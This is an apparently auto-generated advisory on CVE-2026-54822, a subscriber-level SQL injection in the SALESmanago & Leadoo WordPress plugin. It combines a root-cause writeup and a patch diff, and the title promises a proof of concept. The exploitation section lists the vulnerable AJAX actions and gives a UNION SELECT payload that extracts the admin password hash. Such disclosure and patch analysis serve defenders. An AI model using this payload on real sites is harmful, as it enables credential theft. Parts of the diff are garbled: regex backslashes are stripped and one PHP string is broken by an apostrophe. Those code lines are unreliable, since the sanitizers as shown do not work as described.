Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : June 28, 2026

CVE-2026-54822: SALESmanago & Leadoo <= 3.11.2 Authenticated (Subscriber+) SQL Injection PoC, Patch Analysis & Rule

Plugin salesmanago
Severity Medium (CVSS 6.5)
CWE 89
Vulnerable Version 3.11.2
Patched Version 3.11.3
Disclosed June 16, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-54822:
This vulnerability allows authenticated attackers with subscriber-level access to execute SQL injection attacks against the SALESmanago & Leadoo WordPress plugin versions up to and including 3.11.2. The flaw exists in the ExportController AJAX handlers and the ExportModel query builder, where user-supplied parameters are directly interpolated into SQL queries without proper parameterization.

Root Cause:
The core issue resides in the getExportContactsQuery() method within /salesmanago/src/Admin/Model/ExportModel.php. The vulnerable code at lines 399-422 constructs SQL queries by directly concatenating user-controlled parameters such as dateFrom and dateTo (received via the parseArgs() method) into the query string using single quotes: `A.post_date >= ‘{$this->dateFrom}’`. Additionally, the LIMIT and OFFSET clauses are similarly vulnerable. The parseArgs() method at line 137-162 decodes a base64-encoded JSON payload from the `$_REQUEST[‘data’]` parameter with no validation or sanitization, meaning an attacker can control dateFrom, dateTo, tags, statuses, and other values that feed directly into SQL queries. The exportProducts() and exportEvents() functions also invoke getExportQuery() or similar query-building methods with the same parameter injection pattern. No prepared statements or parameterized queries were used.

Exploitation:
An attacker authenticates with subscriber-level credentials (or higher) and crafts a POST request to /wp-admin/admin-ajax.php with the action parameter set to one of the vulnerable AJAX actions: salesmanago_export_count_contacts, salesmanago_export_count_events, salesmanago_export_contacts, salesmanago_export_events, or salesmanago_export_products. The attacker sends a base64-encoded JSON payload in the ‘data’ parameter containing malicious values. For example, setting dateFrom to a value like `2020-01-01′ UNION SELECT user_pass FROM wp_users WHERE user_login=’admin’ — ` injects SQL to extract the admin password hash. The nonce is validated, but no capability check existed, allowing any authenticated user to trigger these exports. The vulnerability is time-based blind SQL injection or potentially UNION-based depending on the query structure.

Patch Analysis:
The patch, version 3.11.3, implements multiple layers of defense. In ExportController.php, all five AJAX handler methods (countContacts, countEvents, exportContacts, exportEvents, exportProducts) now include a capability check: `if ( ! current_user_can( ‘manage_options’ ) ) { … }`. This restricts export functionality to administrators only. In ExportModel.php, the parseArgs() method now uses sanitize_text_field() on raw input, validates date format with validate_date_format(), and validates identifier types with validate_identifier_type(). Critically, the getExportContactsQuery() method now uses $this->db->prepare() with %s and %d placeholders for all user-influenced parameters: `A.post_date >= %s`, `A.post_date <= %s`, `LIMIT %d`, `OFFSET %d`, and even the ignored domains list uses placeholders via array_fill. Error messages are sanitized through sanitize_error_message() and sanitize_output(), which strip control characters and limit to 1024/2048 characters, preventing XSS via error output.

Impact:
Successful exploitation allows an authenticated subscriber to execute arbitrary SQL queries on the WordPress database. This can lead to extraction of sensitive data including user credentials (password hashes), session tokens, API keys, and any other stored data. The attacker could also modify data, create new administrator accounts, install backdoors, or pivot to other parts of the system. Given the CVSS score of 6.5, the impact is significant but requires authentication, limiting the attack surface to users with at least subscriber-level access.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/salesmanago/salesmanago.php
+++ b/salesmanago/salesmanago.php
@@ -3,7 +3,7 @@
  * Plugin Name: SALESmanago & Leadoo
  * Plugin URI:  https://www.salesmanago.com/?utm_source=integration&utm_medium=WORDPRESS&utm_content=marketplace
  * Description: SALESmanago Marketing Automation integration for WordPress, WooCommerce, Contact Form 7, Gravity Forms, Tier Pricing
- * Version:     3.11.2
+ * Version:     3.11.3
  * Tested up to: 6.9.4
  * Requires PHP: 7.4
  * Author:      SALESmanago
@@ -65,6 +65,3 @@
 }

 add_action('plugins_loaded', 'main_salesmanago');
-
-
-
--- a/salesmanago/src/Admin/Controller/ExportController.php
+++ b/salesmanago/src/Admin/Controller/ExportController.php
@@ -50,7 +50,7 @@
 			$this->SMExportController = new SMExportController( $this->AdminModel->getConfiguration() );
 			$this->registerActions();
 		} catch ( Exception $e ) {
-			$this->ExportModel->setMessage( $e->getMessage() );
+			$this->ExportModel->setMessage( $this->sanitize_error_message( $e->getMessage() ) );
 			$this->ExportModel->setStatus( self::FAILED );
 			$this->ExportModel->buildResponse();
 		}
@@ -70,37 +70,54 @@
 	}

 	/**
-	 *
+	 * Count contacts for export
 	 */
 	public function countContacts() {
 		try {
-            SecureHelper::validate_ajax_nonce( 'salesmanago_export_count_contacts' );
+			SecureHelper::validate_ajax_nonce( 'salesmanago_export_count_contacts' );
+
+			if ( ! current_user_can( 'manage_options' ) ) {
+				$this->ExportModel->setMessage( 'Access denied' );
+				$this->ExportModel->setStatus( self::FAILED );
+				$this->ExportModel->buildResponse();
+				return;
+			}

 			$this->ExportModel->parseArgs();
 			$this->ExportModel->setExportType( self::CONTACTS );

 			$query = $this->ExportModel->getExportContactsQuery( true );
+			if ( ! $query ) {
+				throw new Exception( 'Failed to generate contacts query' );
+			}
 			$this->ExportModel->setCount( $this->db->get_var( $query ) );
 			$this->ExportModel->setPackageCount( (int) ceil( $this->ExportModel->getCount() / ExportModel::PACKAGE_SIZE ) );
 			$this->ExportModel->setStatus( self::PREPARING );
 			$this->ExportModel->buildResponse();
 		} catch ( Exception $e ) {
-			$this->ExportModel->setMessage( $e->getViewMessage() );
+			$this->ExportModel->setMessage( $this->sanitize_error_message( method_exists( $e, 'getViewMessage' ) ? $e->getViewMessage() : $e->getMessage() ) );
 			$this->ExportModel->setStatus( self::FAILED );
 			$this->ExportModel->buildResponse();
 		} catch ( Exception $e ) {
-			$this->ExportModel->setMessage( $e->getMessage() );
+			$this->ExportModel->setMessage( $this->sanitize_error_message( $e->getMessage() ) );
 			$this->ExportModel->setStatus( self::FAILED );
 			$this->ExportModel->buildResponse();
 		}
 	}

 	/**
-	 *
+	 * Count events for export
 	 */
 	public function countEvents() {
 		try {
-            SecureHelper::validate_ajax_nonce( 'salesmanago_export_count_events' );
+			SecureHelper::validate_ajax_nonce( 'salesmanago_export_count_events' );
+
+			if ( ! current_user_can( 'manage_options' ) ) {
+				$this->ExportModel->setMessage( 'Access denied' );
+				$this->ExportModel->setStatus( self::FAILED );
+				$this->ExportModel->buildResponse();
+				return;
+			}

 			$this->ExportModel->parseArgs();
 			$this->ExportModel->setExportType( self::EVENTS );
@@ -110,17 +127,24 @@
 			$this->ExportModel->setStatus( self::PREPARING );
 			$this->ExportModel->buildResponse();
 		} catch ( Exception $e ) {
-			$this->ExportModel->setMessage( $e->getMessage() );
+			$this->ExportModel->setMessage( $this->sanitize_error_message( $e->getMessage() ) );
 			$this->ExportModel->setStatus( self::FAILED );
 			$this->ExportModel->buildResponse();
 		}
 	}

 	/**
-	 *
+	 * Export contacts batch
 	 */
 	public function exportContacts() {
-        SecureHelper::validate_ajax_nonce( 'salesmanago_count_contacts' );
+		SecureHelper::validate_ajax_nonce( 'salesmanago_export_contacts' );
+
+		if ( ! current_user_can( 'manage_options' ) ) {
+			$this->ExportModel->setMessage( 'Access denied' );
+			$this->ExportModel->setStatus( self::FAILED );
+			$this->ExportModel->buildResponse();
+			return;
+		}

 		$this->ExportModel->parseArgs();
 		if ( $this->ExportModel->getPackageCount() ) {
@@ -128,19 +152,21 @@
 				$this->ExportModel->setExportType( self::CONTACTS );

 				$query   = $this->ExportModel->getExportContactsQuery( false );
+				if ( ! $query ) {
+					throw new Exception( 'Failed to generate export query' );
+				}
 				$results = $this->db->get_results( $query, ARRAY_A );

 				if ( ! empty( $results ) ) {
 					$Collection = $this->ExportModel->prepareContactsToExport( $results );
-					if ( ! $Collection->isEmpty() ) {
+					if ( $Collection && ! $Collection->isEmpty() ) {
 						$exportResponse = $this->SMExportController->export( $Collection );

-						if ( $exportResponse->getStatus() ) {
+						if ( $exportResponse && $exportResponse->getStatus() ) {
 							$this->ExportModel->setLastExportedPackage(
 								$this->ExportModel->getLastExportedPackage() + 1
 							);
-							if ( $this->ExportModel->getLastExportedPackage() + 1 == $this->ExportModel->getPackageCount(
-							) ) {
+							if ( $this->ExportModel->getLastExportedPackage() + 1 == $this->ExportModel->getPackageCount() ) {
 								$this->ExportModel->setStatus( self::LAST_CHECK );
 								$this->ExportModel->buildResponse();
 							} else {
@@ -161,11 +187,11 @@
 					$this->ExportModel->buildResponse();
 				}
 			} catch ( Exception $e ) {
-				$this->ExportModel->setMessage( $e->getViewMessage() );
+				$this->ExportModel->setMessage( $this->sanitize_error_message( method_exists( $e, 'getViewMessage' ) ? $e->getViewMessage() : $e->getMessage() ) );
 				$this->ExportModel->setStatus( self::FAILED );
 				$this->ExportModel->buildResponse();
 			} catch ( Exception $e ) {
-				$this->ExportModel->setMessage( $e->getMessage() );
+				$this->ExportModel->setMessage( $this->sanitize_error_message( $e->getMessage() ) );
 				$this->ExportModel->setStatus( self::FAILED );
 				$this->ExportModel->buildResponse();
 			}
@@ -177,10 +203,17 @@
 	}

 	/**
-	 *
+	 * Export events batch
 	 */
 	public function exportEvents() {
-        SecureHelper::validate_ajax_nonce( 'salesmanago_export_events' );
+		SecureHelper::validate_ajax_nonce( 'salesmanago_export_events' );
+
+		if ( ! current_user_can( 'manage_options' ) ) {
+			$this->ExportModel->setMessage( 'Access denied' );
+			$this->ExportModel->setStatus( self::FAILED );
+			$this->ExportModel->buildResponse();
+			return;
+		}

 		$this->ExportModel->parseArgs();
 		if ( $this->ExportModel->getPackageCount() ) {
@@ -193,7 +226,7 @@
 					$Collection     = $this->ExportModel->prepareEventsToExport( $results );
 					$exportResponse = $this->SMExportController->export( $Collection );

-					if ( $exportResponse->getStatus() ) {
+					if ( $exportResponse && $exportResponse->getStatus() ) {
 						$this->ExportModel->setLastExportedPackage( $this->ExportModel->getLastExportedPackage() + 1 );
 						if ( $this->ExportModel->getLastExportedPackage() + 1 == $this->ExportModel->getPackageCount() ) {
 							$this->ExportModel->setStatus( self::LAST_CHECK );
@@ -212,11 +245,11 @@
 					$this->ExportModel->buildResponse();
 				}
 			} catch ( Exception $e ) {
-				$this->ExportModel->setMessage( $e->getViewMessage() );
+				$this->ExportModel->setMessage( $this->sanitize_error_message( method_exists( $e, 'getViewMessage' ) ? $e->getViewMessage() : $e->getMessage() ) );
 				$this->ExportModel->setStatus( self::FAILED );
 				$this->ExportModel->buildResponse();
 			} catch ( Exception $e ) {
-				$this->ExportModel->setMessage( $e->getMessage() );
+				$this->ExportModel->setMessage( $this->sanitize_error_message( $e->getMessage() ) );
 				$this->ExportModel->setStatus( self::FAILED );
 				$this->ExportModel->buildResponse();
 			}
@@ -231,10 +264,18 @@
 	 * Handle export products request
 	 */
 	public function exportProducts() {
-        SecureHelper::validate_ajax_nonce( 'salesmanago_export_products' );
+		SecureHelper::validate_ajax_nonce( 'salesmanago_export_products' );
+
+		if ( ! current_user_can( 'manage_options' ) ) {
+			$this->ExportModel->setMessage( 'Access denied' );
+			$this->ExportModel->setStatus( self::FAILED );
+			$this->ExportModel->buildProductExportResponse();
+			return;
+		}

 		if ( ! $this->AdminModel->getConfiguration()->getApiV3Key() ) {
 			$this->ExportModel->buildProductExportResponseForExpiredApiKey();
+			return;
 		}
 		try {
 			$this->ExportModel->parseProductExportArgs();
@@ -251,15 +292,14 @@
 			$this->ExportModel->handlePackageCount();
 		} catch ( Exception $e ) {
 			$this->ExportModel->setStatus( self::FAILED );
-			$this->ExportModel->setMessage( $e->getMessage() );
+			$this->ExportModel->setMessage( $this->sanitize_error_message( $e->getMessage() ) );
 			if ( $e instanceof ApiV3Exception ) {
 				$arr_of_messages = $e->getAllViewMessages();
-				if ( IncludesHelper::extract_product_id_from_error_message_array( $arr_of_messages, $ProductsCollection ) ) {
-					$this->ExportModel->setMessage(
-						IncludesHelper::extract_product_id_from_error_message_array( $arr_of_messages, $ProductsCollection )
-					);
+				$extracted_msg = IncludesHelper::extract_product_id_from_error_message_array( $arr_of_messages, $ProductsCollection ?? null );
+				if ( $extracted_msg ) {
+					$this->ExportModel->setMessage( $this->sanitize_error_message( $extracted_msg ) );
 				} else {
-					$this->ExportModel->setMessage( $e->getViewMessage() );
+					$this->ExportModel->setMessage( $this->sanitize_error_message( method_exists( $e, 'getViewMessage' ) ? $e->getViewMessage() : $e->getMessage() ) );
 				}
 				if ( in_array( 10, $e->getCodes() ) ) {
 					$this->AdminModel->getConfiguration()->setApiV3Key( '' );
@@ -270,4 +310,27 @@
 			$this->ExportModel->buildProductExportResponse();
         }
     }
+
+    /**
+     * Sanitize error messages to prevent XSS and log injection
+     *
+     * @param string $message Raw error message
+     * @return string Sanitized message safe for output/logging
+     */
+    private function sanitize_error_message( $message ) {
+        if ( ! is_string( $message ) ) {
+            return '';
+        }
+
+        $sanitized = preg_replace( '/[rntx00-x1Fx7F]/', ' ', $message );
+
+        // Trim and limit length to prevent log flooding/DoS
+        $sanitized = substr( trim( $sanitized ), 0, 1024 );
+
+        if ( function_exists( 'esc_html' ) ) {
+            $sanitized = esc_html( $sanitized );
+        }
+
+        return $sanitized;
+    }
 }
--- a/salesmanago/src/Admin/Entity/MessageEntity.php
+++ b/salesmanago/src/Admin/Entity/MessageEntity.php
@@ -42,13 +42,12 @@
     public function addException($e, $type='error')
     {
         $this->messages[] = array(
-            'type'    => $type,
-            'message' => $e->getMessage(),
-            'code'    => $e->getCode()
+            'type'    => $this->sanitize_type( $type ),
+            'message' => $this->sanitize_message( $e->getMessage() ),
+            'code'    => $this->sanitize_code( $e->getCode() )
         );
     }

-
     /**
      * @param string $message
      * @param string $type
@@ -60,9 +59,9 @@
             $code = 700;
         }
         $this->messages[] = array(
-            'type'    => $type,
-            'message' => $message,
-            'code'    => $code
+            'type'    => $this->sanitize_type( $type ),
+            'message' => $this->sanitize_message( $message ),
+            'code'    => $this->sanitize_code( $code )
         );
     }

@@ -124,7 +123,6 @@
             681 => __('Error on listing Fluent Forms', 'salesmanago'),
             690 => __('Error on Monitoring code page', 'salesmanago'),

-
             700 => __('Success.', 'salesmanago'),
             701 => __('Logged in.', 'salesmanago'),
             702 => __('Logged out.', 'salesmanago'),
@@ -132,13 +130,13 @@

             // APIv3 Product Catalog Messages
             704 => __( 'Authentication successful. You can select an existing Product Catalog or create a new one.', 'salesmanago' ),
-            705 => __( 'The API key doesn’t seem valid. Make sure the key is active and all characters have been copied.', 'salesmanago' ),
+            705 => __( 'The API key doesn't seem valid. Make sure the key is active and all characters have been copied.', 'salesmanago' ),
             706 => __( 'Unknown API error.', 'salesmanago' ),
-	        707 => __( 'New Product Catalog has been created. Please refresh Catalog list to use it.', 'salesmanago' ),
-	        708 => __( 'Incorrect location field value. Please check it in the Integration settings tab', 'salesmanago' ),
-	        709 => __( 'Error on setting the active catalog', 'salesmanago' ),
-	        710 => __( 'The request has timed out. Please try again', 'salesmanago' ),
-	        711 => __( 'Product Catalog has not been created. Please check the About tab for error information.', 'salesmanago' )
+            707 => __( 'New Product Catalog has been created. Please refresh Catalog list to use it.', 'salesmanago' ),
+            708 => __( 'Incorrect location field value. Please check it in the Integration settings tab', 'salesmanago' ),
+            709 => __( 'Error on setting the active catalog', 'salesmanago' ),
+            710 => __( 'The request has timed out. Please try again', 'salesmanago' ),
+            711 => __( 'Product Catalog has not been created. Please check the About tab for error information.', 'salesmanago' )
         );
         if(!isset($messages[$code]) && isset($messages[floor($code/10)*10])) {
             $code = floor($code/10)*10;
@@ -147,7 +145,8 @@
         } elseif (!isset($messages[$code])) {
             $code = 0;
         }
-        return  ($appendConsoleInfo) ? $messages[$code].$checkConsole : $messages[$code];
+        $message = isset($messages[$code]) ? esc_html( $messages[$code] ) : esc_html( $messages[0] );
+        return  ($appendConsoleInfo) ? $message . $checkConsole : $message;
     }

     /**
@@ -160,18 +159,16 @@
             if( empty( $message['type'] ) ) {
                 continue;
             }
+            $type = esc_attr( $this->sanitize_type( $message['type'] ) );
+
             if( $message['type'] === 'error' || $message['type'] === 'warning' ) {
                 $viewMessage = $this->getMessageByCode( $message['code'], true );
-                $consoleMessage = str_replace("'", '\'',
-                    str_replace( "n", '\n', $message['message'] ) );
-                $type = empty( $message['type'] ) ? 'info' : $message['type'];
-
+                $consoleMessage = wp_json_encode( $message['message'] );
+
                 $out .= '<div class="salesmanago-notice notice notice-' . $type . ' inline">' . $viewMessage . '</div>';
-                $out .= '<script>console.warn('SM error '. $message['code'] . ': ' . $consoleMessage . '')</script>';
+                $out .= '<script>console.warn("SM error ' . esc_js( $message['code'] ) . ': " + ' . $consoleMessage . ')</script>';
             } elseif ( $message['type'] === 'success' || $message['type'] === 'info' ) {
                 $viewMessage = $this->getMessageByCode( $message['code'], false );
-                $type = empty( $message['type'] ) ? 'info' : $message['type'];
-
                 $out .= '<div class="salesmanago-notice notice notice-' . $type . ' inline">' . $viewMessage . '</div>';
             } elseif ( $message['type'] === 'apiV3Error' ) {
                 $viewMessage = $this->getMessageByCode( $message['code'], false );
@@ -183,10 +180,23 @@

     /**
      * @param mixed $messages
+     * @return $this
      */
     public function setMessages($messages)
     {
-        $this->messages = $messages;
+        if ( is_array( $messages ) ) {
+            $sanitized = array();
+            foreach ( $messages as $msg ) {
+                if ( is_array( $msg ) && isset( $msg['type'], $msg['message'], $msg['code'] ) ) {
+                    $sanitized[] = array(
+                        'type'    => $this->sanitize_type( $msg['type'] ),
+                        'message' => $this->sanitize_message( $msg['message'] ),
+                        'code'    => $this->sanitize_code( $msg['code'] ),
+                    );
+                }
+            }
+            $this->messages = $sanitized;
+        }
         return $this;
     }

@@ -200,10 +210,51 @@

     /**
      * @param bool $messagesAfterView
+     * @return $this
      */
     public function setMessagesAfterView($messagesAfterView)
     {
-        $this->messagesAfterView = $messagesAfterView;
+        $this->messagesAfterView = (bool) $messagesAfterView;
         return $this;
     }
+
+    // ========================================================================
+    // SECURITY HELPER METHODS (for sanitization/escaping)
+    // ========================================================================
+
+    /**
+     * Sanitize message type to allowed values only
+     *
+     * @param string $type
+     * @return string
+     */
+    private function sanitize_type( $type ) {
+        $allowed = array( 'error', 'warning', 'success', 'info', 'apiV3Error' );
+        return in_array( $type, $allowed, true ) ? $type : 'info';
+    }
+
+    /**
+     * Sanitize message text to prevent XSS and log injection
+     *
+     * @param string $message
+     * @return string
+     */
+    private function sanitize_message( $message ) {
+        if ( ! is_string( $message ) ) {
+            return '';
+        }
+        $sanitized = preg_replace( '/[rntx00-x1Fx7F]/', ' ', $message );
+        // Trim and limit length to prevent log flooding/DoS
+        return substr( trim( $sanitized ), 0, 2048 );
+    }
+
+    /**
+     * Sanitize message code to integer
+     *
+     * @param mixed $code
+     * @return int
+     */
+    private function sanitize_code( $code ) {
+        return filter_var( $code, FILTER_VALIDATE_INT ) ?: 0;
+    }
 }
--- a/salesmanago/src/Admin/Model/ExportModel.php
+++ b/salesmanago/src/Admin/Model/ExportModel.php
@@ -52,7 +52,7 @@
 	protected $started;
 	protected $lastSuccess;
 	protected $packageCount          = 0;
-	protected $lastExportedPackage   = -1;  // No packages have been exported. 0 will be the first one.
+	protected $lastExportedPackage   = -1;
 	protected $status                = 'unknown';
 	protected $message               = '';
 	protected $productIdentifierType = self::DEFAULT_PRODUCT_IDENTIFIER_TYPE;
@@ -66,7 +66,6 @@
 		$this->ProductBuilder = new ProductBuilder( $AdminModel );
 	}

-
 	/**
 	 * @param int $packageCount
 	 */
@@ -113,7 +112,7 @@
 	 * @param string $message
 	 */
 	public function setMessage( $message ) {
-		$this->message = $message;
+		$this->message = $this->sanitize_output( $message );
 	}

 	/**
@@ -137,15 +136,32 @@
 	 */
 	public function parseArgs() {
 		try {
-			$data = json_decode( base64_decode( $_REQUEST['data'] ) );
+			if ( ! isset( $_REQUEST['data'] ) ) {
+				throw new Exception( 'Missing request data' );
+			}
+
+			$raw_data = sanitize_text_field( $_REQUEST['data'] );
+			$decoded  = base64_decode( $raw_data, true );
+
+			if ( false === $decoded ) {
+				throw new Exception( 'Invalid base64 encoding' );
+			}
+
+			$data = json_decode( $decoded );
+
+			if ( json_last_error() !== JSON_ERROR_NONE || ! is_object( $data ) ) {
+				throw new Exception( 'Invalid JSON data' );
+			}

-			$this->dateFrom = empty( $data->dateFrom )
+			$raw_date_from = isset( $data->dateFrom ) ? $data->dateFrom : '';
+			$this->dateFrom = empty( $raw_date_from )
 				? '2000-01-01'
-				: $data->dateFrom;
+				: $this->validate_date_format( sanitize_text_field( $raw_date_from ) );

-			$this->dateTo = empty( $data->dateTo )
+			$raw_date_to = isset( $data->dateTo ) ? $data->dateTo : '';
+			$this->dateTo = empty( $raw_date_to )
 				? date( 'Y-m-d', time() + 86400 )
-				: date( 'Y-m-d', strtotime( $data->dateTo ) + 86400 );
+				: date( 'Y-m-d', strtotime( $this->validate_date_format( sanitize_text_field( $raw_date_to ) ) ) + 86400 );

 			$this->tags = empty( $data->tags )
 				? array()
@@ -163,24 +179,27 @@
 				? time()
 				: (int) $data->started;

-			$this->productIdentifierType = empty( $data->identifierType )
+			$raw_identifier = isset( $data->identifierType ) ? $data->identifierType : '';
+			$this->productIdentifierType = empty( $raw_identifier )
 				? self::DEFAULT_PRODUCT_IDENTIFIER_TYPE
-				: $data->identifierType;
+				: $this->validate_identifier_type( sanitize_text_field( $raw_identifier ) );

 			$this->lastSuccess = empty( $data->lastSuccess )
 				? 0
 				: (int) $data->lastSuccess;

-			$this->statuses = self::checkStatusesFromRequest( $data->statuses )
-				? 'wc-completed'
-				: $data->statuses;
+			$raw_statuses = isset( $data->statuses ) ? sanitize_text_field( $data->statuses ) : '';
+			$this->statuses = self::checkStatusesFromRequest( $raw_statuses )
+				? $raw_statuses
+				: 'wc-completed';

-			$this->exportAs = empty( $data->exportAs ) || ! in_array( $data->exportAs, self::ALLOWED_TYPES )
+			$raw_export_as = isset( $data->exportAs ) ? $data->exportAs : '';
+			$this->exportAs = empty( $raw_export_as ) || ! in_array( $raw_export_as, self::ALLOWED_TYPES, true )
 				? self::PURCHASE
-				: $data->exportAs;
+				: sanitize_text_field( $raw_export_as );

 		} catch ( Exception $e ) {
-			$this->message = $e->getMessage();
+			$this->message = $this->sanitize_output( $e->getMessage() );
 			$this->status  = self::FAILED;
 			$this->buildResponse();
 		}
@@ -199,7 +218,7 @@
 			'type'                => $this->exportType,
 			'tags'                => $this->tags,
 			'status'              => $this->status,
-			'message'             => $this->message,
+			'message'             => $this->sanitize_output( $this->message ),
 			'identifierType'      => $this->productIdentifierType,
 			'dateFrom'            => $this->dateFrom,
 			'dateTo'              => date( 'Y-m-d', strtotime( $this->dateTo ) - 86400 ),
@@ -207,12 +226,9 @@
 			'statuses'            => $this->statuses,
 			'exportAs'            => $this->exportAs,
 		);
-		echo( wp_json_encode( $response ) );
-		die();
+		wp_send_json( $response );
 	}

-
-
 	/**
 	 * @param $collection
 	 * @return ContactsCollection|null
@@ -236,42 +252,42 @@

 				/* Contact */
 				$customer['name'] = trim(
-					( isset( $customer['first_name'] ) ? $customer['first_name'] : '' ) .
+					( isset( $customer['first_name'] ) ? sanitize_text_field( $customer['first_name'] ) : '' ) .
 					' ' .
-					( isset( $customer['last_name'] ) ? $customer['last_name'] : '' )
+					( isset( $customer['last_name'] ) ? sanitize_text_field( $customer['last_name'] ) : '' )
 				);
 				$Contact
-					->setEmail( isset( $customer['email'] ) ? $customer['email'] : null )
-					->setName( isset( $customer['name'] ) ? $customer['name'] : null )
-					->setExternalId( isset( $customer['user_id'] ) ? $customer['user_id'] : null )
-					->setPhone( isset( $customer['phone'] ) ? $customer['phone'] : null );
+					->setEmail( isset( $customer['email'] ) ? sanitize_email( $customer['email'] ) : null )
+					->setName( isset( $customer['name'] ) ? sanitize_text_field( $customer['name'] ) : null )
+					->setExternalId( isset( $customer['user_id'] ) ? (int) $customer['user_id'] : null )
+					->setPhone( isset( $customer['phone'] ) ? sanitize_text_field( $customer['phone'] ) : null );

 				/* Address */
 				$customer['address'] = trim(
-					( isset( $customer['address_1'] ) ? $customer['address_1'] : '' ) .
+					( isset( $customer['address_1'] ) ? sanitize_text_field( $customer['address_1'] ) : '' ) .
 					' ' .
-					( isset( $customer['address_2'] ) ? $customer['address_2'] : '' )
+					( isset( $customer['address_2'] ) ? sanitize_text_field( $customer['address_2'] ) : '' )
 				);
 				$Address
-					->setStreetAddress( isset( $customer['address'] ) ? $customer['address'] : null )
-					->setCity( isset( $customer['city'] ) ? $customer['city'] : null )
-					->setZipCode( isset( $customer['postcode'] ) ? $customer['postcode'] : null );
+					->setStreetAddress( isset( $customer['address'] ) ? sanitize_text_field( $customer['address'] ) : null )
+					->setCity( isset( $customer['city'] ) ? sanitize_text_field( $customer['city'] ) : null )
+					->setZipCode( isset( $customer['postcode'] ) ? sanitize_text_field( $customer['postcode'] ) : null );

 				/* Options */
 				$Options
 					->setTags( empty( $this->tags ) ? array() : $this->tags )
-					->setCreatedOn( isset( $customer['created_on'] ) ? $customer['created_on'] : null );
+					->setCreatedOn( isset( $customer['created_on'] ) ? sanitize_text_field( $customer['created_on'] ) : null );

 				$ContactsCollection->addItem( $Contact );
 			}
 			return $ContactsCollection;
 		} catch ( Exception $e ) {
-			$this->message = $e->getViewMessage();
+			$this->message = $this->sanitize_output( method_exists( $e, 'getViewMessage' ) ? $e->getViewMessage() : $e->getMessage() );
 			$this->status  = self::FAILED;
 			$this->buildResponse();

 		} catch ( Exception $e ) {
-			$this->message = $e->getMessage();
+			$this->message = $this->sanitize_output( $e->getMessage() );
 			$this->status  = self::FAILED;
 			$this->buildResponse();
 		}
@@ -301,20 +317,20 @@
 				}

 				$Event
-					->setEmail( isset( $event['email'] ) ? $event['email'] : null )
+					->setEmail( isset( $event['email'] ) ? sanitize_email( $event['email'] ) : null )
 					->setDate( $date )
-					->setDescription( isset( $event['description'] ) ? $event['description'] : null )
-					->setProducts( isset( $event['products'] ) ? $event['products'] : null )
-					->setValue( isset( $event['value'] ) ? $event['value'] : null )
-					->setContactExtEventType( isset( $event['contactExtEventType'] ) ? $event['contactExtEventType'] : self::PURCHASE )
-					->setExternalId( isset( $event['externalId'] ) ? $event['externalId'] : null )
-					->setShopDomain( isset( $event['shopDomain'] ) ? $event['shopDomain'] : get_site_url() )
-					->setLocation( ! empty( $this->Configuration->getLocation() ) ? $this->Configuration->getLocation() : md5( get_site_url() ) )
+					->setDescription( isset( $event['description'] ) ? sanitize_text_field( $event['description'] ) : null )
+					->setProducts( isset( $event['products'] ) ? sanitize_text_field( $event['products'] ) : null )
+					->setValue( isset( $event['value'] ) ? floatval( $event['value'] ) : null )
+					->setContactExtEventType( isset( $event['contactExtEventType'] ) ? sanitize_text_field( $event['contactExtEventType'] ) : self::PURCHASE )
+					->setExternalId( isset( $event['externalId'] ) ? sanitize_text_field( $event['externalId'] ) : null )
+					->setShopDomain( isset( $event['shopDomain'] ) ? esc_url_raw( $event['shopDomain'] ) : get_site_url() )
+					->setLocation( ! empty( $this->Configuration->getLocation() ) ? sanitize_text_field( $this->Configuration->getLocation() ) : md5( get_site_url() ) )
 					->setDetails(
 						array(
-							'1' => isset( $event['detail1'] ) ? $event['detail1'] : null,
-							'2' => isset( $event['detail2'] ) ? $event['detail2'] : null,
-							'3' => isset( $event['detail3'] ) ? $event['detail3'] : null,
+							'1' => isset( $event['detail1'] ) ? sanitize_text_field( $event['detail1'] ) : null,
+							'2' => isset( $event['detail2'] ) ? sanitize_text_field( $event['detail2'] ) : null,
+							'3' => isset( $event['detail3'] ) ? sanitize_text_field( $event['detail3'] ) : null,
 						)
 					);

@@ -322,12 +338,12 @@
 			}
 			return $EventsCollection;
 		} catch ( Exception $e ) {
-			$this->message = $e->getViewMessage();
+			$this->message = $this->sanitize_output( method_exists( $e, 'getViewMessage' ) ? $e->getViewMessage() : $e->getMessage() );
 			$this->status  = self::FAILED;
 			$this->buildResponse();

 		} catch ( Exception $e ) {
-			$this->message = $e->getMessage();
+			$this->message = $this->sanitize_output( $e->getMessage() );
 			$this->status  = self::FAILED;
 			$this->buildResponse();
 		}
@@ -348,6 +364,7 @@
 				$query .= 'SELECT COUNT(*) AS count FROM (';
 			}

+			// Build base query with placeholders
 			$query .= "
             SELECT DISTINCT
                    B.meta_value as first_name,
@@ -399,22 +416,30 @@

             WHERE
                   A.post_type = 'shop_order'
+            ";
+
+			$query .= $this->db->prepare( "
             AND
-                  A.post_date >= '{$this->dateFrom}'
+                  A.post_date >= %s
             AND
-                  A.post_date <= '{$this->dateTo}'
-            ";
+                  A.post_date <= %s
+            ", $this->dateFrom, $this->dateTo );

 			if ( ! empty( $this->Configuration->getIgnoredDomains() ) ) {
-				$query .= "AND SUBSTRING_INDEX(K.meta_value, '@', -1) NOT IN('" . implode( "','", $this->Configuration->getIgnoredDomains() ) . "')";
+				$ignored_domains = array_map( 'sanitize_text_field', $this->Configuration->getIgnoredDomains() );
+				if ( ! empty( $ignored_domains ) ) {
+					$placeholders = implode( ',', array_fill( 0, count( $ignored_domains ), '%s' ) );
+					$query .= $this->db->prepare( "
+                    AND SUBSTRING_INDEX(K.meta_value, '@', -1) NOT IN($placeholders)
+                    ", ...$ignored_domains );
+				}
 			}

 			if ( ! $count ) {
-				$query .= "
-                LIMIT {$limit}
-
-                OFFSET {$offset}
-                ";
+				$query .= $this->db->prepare( "
+                LIMIT %d
+                OFFSET %d
+                ", $limit, $offset );
 			}

 			if ( $count ) {
@@ -423,7 +448,7 @@

 			return trim( preg_replace( '/ss+/', ' ', $query ) );
 		} catch ( Exception $e ) {
-			$this->message = $e->getMessage();
+			$this->message = $this->sanitize_output( $e->getMessage() );
 			$this->status  = self::FAILED;
 			$this->buildResponse();
 		}
@@ -488,16 +513,16 @@
 									? $WcProduct->get_parent_id()
 									: $WcProduct->get_id();
 								$prodArr['names'][]        = ( $WcProduct->get_name() )
-									? $WcProduct->get_name()
+									? sanitize_text_field( $WcProduct->get_name() )
 									: '';
